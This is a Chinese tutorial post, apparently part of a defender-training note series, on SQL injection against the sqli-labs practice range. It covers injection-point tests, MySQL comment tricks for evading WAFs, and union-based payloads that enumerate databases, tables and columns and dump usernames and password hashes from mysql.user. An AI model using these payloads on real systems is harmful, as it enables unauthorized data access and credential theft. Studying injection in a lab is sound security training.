护网笔记(六)-- SQL注入(一)

目录

基础知识

可参考
https://www.cnblogs.com/Ck-0ff/p/15777962.html
https://www.cnblogs.com/Ck-0ff/p/15783745.html

SQL注入

原理

SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

简而言之,SQL 注入就是在用户输入的字符串中加入 SQL 语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据。这里以一个PHP的SQL语句代码为例

$SQL = "select * from '某字段' where id = $id";

由于这里的参数id可以控制,且这个id被待进了数据库查询,所以一些意图不轨的人可以通过拼接SQL语句来进行攻击。

SQL注入的产生需要两个条件

1.我们传递给后端的参数是可以控制的

2.参数内容会被带入到数据库查询

sql注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或者数据库平台漏洞所致;后者主要是由于程序员未对输入进行细致地过滤。

护网笔记(六)-- SQL注入(一)
靶场(sqli第一关)如上,在url中后面输入?id=1
护网笔记(六)-- SQL注入(一)
可直接在数据库中查询到对应数据。

理论上,任何有数据交互的地方都可能存在注入。

注入的拦截
在代码中加入简单的过滤。

判断注入

  • and 1=1 /and 1=2 回显页面不同(真假判断)
  • 引号判断(单引号判断或者双引号)显示数据库报错信息或者页面回显不同(整形,字符串类型判断)
  • \ (转义符)
  • -1/+1回显下一个或者上一个页面(整形判断)
  • and sleep(5)(判断页面返回时间)

如何快速判断注入点是字符型还是整数型

?id=1
护网笔记(六)-- SQL注入(一)

?id=2我们可以看到这时的结果是不一样的
护网笔记(六)-- SQL注入(一)

?id=2-1的结果如果是和id=2的结果是一样的,此时就可以判断注入点一定不是整数型。
护网笔记(六)-- SQL注入(一)

我们假设他是个整数型

select * from user where id=2

select * from user where id=2-1 如果这是个整数型他会先进行一个计算2-1此时他就会输出1的值。

就相当于是执行了select * from user where id =1;

可以在navicat上演示字符型和整数型的区别。

SQL注入的利用

MySQL中3种注释

  • #(url编码为%23)

  • -- ggh(--后面要跟上一个或多个空格)

  • /* ........ */

  • /*! ........ */(内联注释)

  • /*! /()这个没有任何意义,只是干扰,select / * ! @@version/

  • select * /*!22222from */ users;

  • ​ 如果数字(5位)大于当前MySQL版本号 相当于/* !*/里面的为一个注释

  • ​ 否则不生效(绕过waf)

由于#在url中表示的是 锚点 因此在url使用#的时候进行url编码 %23`

/* ...... */要注意 / * !* /有特殊意义

/*! ........ */在很多语言中都是一样的注释/**/但是在MySQL中为了保持兼容性,比如从MySQL dump导出的sql语句能够被其他数据库直接使用,它把一些特有的仅在MySQL上的语句放在 / * ! ... */中,这样这些语句如果在其他数据库中是不会被执行,但在MySQL中它会执行。

常用函数

  • user() --数据库用户名
  • system_user()
  • current_user()
  • session_user() --连接数据库的用户名
  • database() --数据库名
  • @@version
  • version() --MySQL版本
  • @@basedir
  • @@datadir --数据库路径
  • @@version_compile_os --操作系统版本

UNION query SQL injection(基于联合查询注入)

利用条件:

页面上有显示位

优点:

​方便、快捷、易于利用

缺点:

​需要显示位
  1. 判断列数
order by  10
order by 20
order by 15

MySQL中使用order by 可以根据需要排序检索出的数据。

其中 order by 可以按照列的位置排序

例如:select id,name,price from goods order by 3;表示的意思是:
结果按照price字段进行升序排列

  1. 判断回显点
php?id=-1 union select 1,2,3,4,5

根据开发人员写的情况,有些显示位可以将查询出的多条结果同时输出出来,但是大部分都只能将查询出来的第一条结果输出。因此我们要想让我们自己的查询结果输出出来,那么就需要让它本身的查询不出结果。

  1. 获取当前数据库名称和当前连接数据库的用户
php?id=-1 union select 1,2,3,4,user()
php?id=-1 union select 1,2,3,4,database()
  1. 列出所有数据库

limit 一个一个打印出来库名

	select schema_name from information_schema.schemata limit 0,1

group_concat一次性全部显示

	select group_concat(schema_name) from information_schema.schemata
  1. 列出mysql库中所有的表

limit一个一个打印出来表名

select table_name from information_schema.tables where table_schema='mysql' limit 0,1

group_concat一次性全部打印

select group_concat(table_name) from information_schema.tables where table_schema='mysql'

有时候会对单引号过滤,此时我们有两种办法

1)、如果查询的是当前的库的话就直接使用database();

2)、利用16进制来代替字符串,这样也可以绕过单引号的限制

6、列出当前数据库下的users表中所有字段

limit一个一个打印出来表名

select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1

group_concat()一次性全部显示

select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
  1. 列出mysql数据库users表中的数据

limit一个一个打印出来

	select user,password from mysql.user limit 0,1

group_concat一次性全部打印

	select group_concat(concat(user,0x20,password)) from mysql.user
上一篇:python 自动输入验证码


下一篇:sql(部分)